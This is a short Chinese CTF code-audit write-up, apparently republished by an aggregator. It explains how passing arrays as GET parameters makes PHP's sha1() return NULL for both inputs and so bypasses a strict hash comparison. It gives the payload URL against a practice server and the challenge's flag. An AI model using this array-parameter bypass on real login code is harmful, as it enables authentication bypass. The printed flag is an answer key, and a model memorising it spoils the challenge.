代码审计-sha()函数比较绕过

Posted gaonuoqi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计-sha()函数比较绕过相关的知识,希望对你有一定的参考价值。

<?php
$flag = "flag";
if (isset($_GET[‘name‘]) and isset($_GET[‘password‘]))
{
var_dump($_GET[‘name‘]);
echo "
";
var_dump($_GET[‘password‘]);
var_dump(sha1($_GET[‘name‘]));
var_dump(sha1($_GET[‘password‘]));
if ($_GET[‘name‘] == $_GET[‘password‘])
echo

Your password can not be your name!
;
else if (sha1($_GET[‘name‘]) === sha1($_GET[‘password‘]))
die(‘Flag: ‘.$flag);
else
echo

Invalid password.
;
}
else
echo

Login first!
;
?>

sha跟md5函数一样,可以用数组绕过

payload

http://123.206.87.240:9009/7.php?name[]=1&password[]=2

得到

 

array(1) { [0]=> string(1) "1" }
array(1) { [0]=> string(1) "2" } NULL NULL Flag: flag{bugku--daimasj-a2}

以上是关于代码审计-sha()函数比较绕过的主要内容,如果未能解决你的问题,请参考以下文章

代码审计-弱类型整数大小比较绕过

CTF:lottery(代码审计|==比较绕过)

当前市面上的代码审计工具哪个比较好?

PHP代码审计分段讲解

文件上传漏洞

初探审计—md5类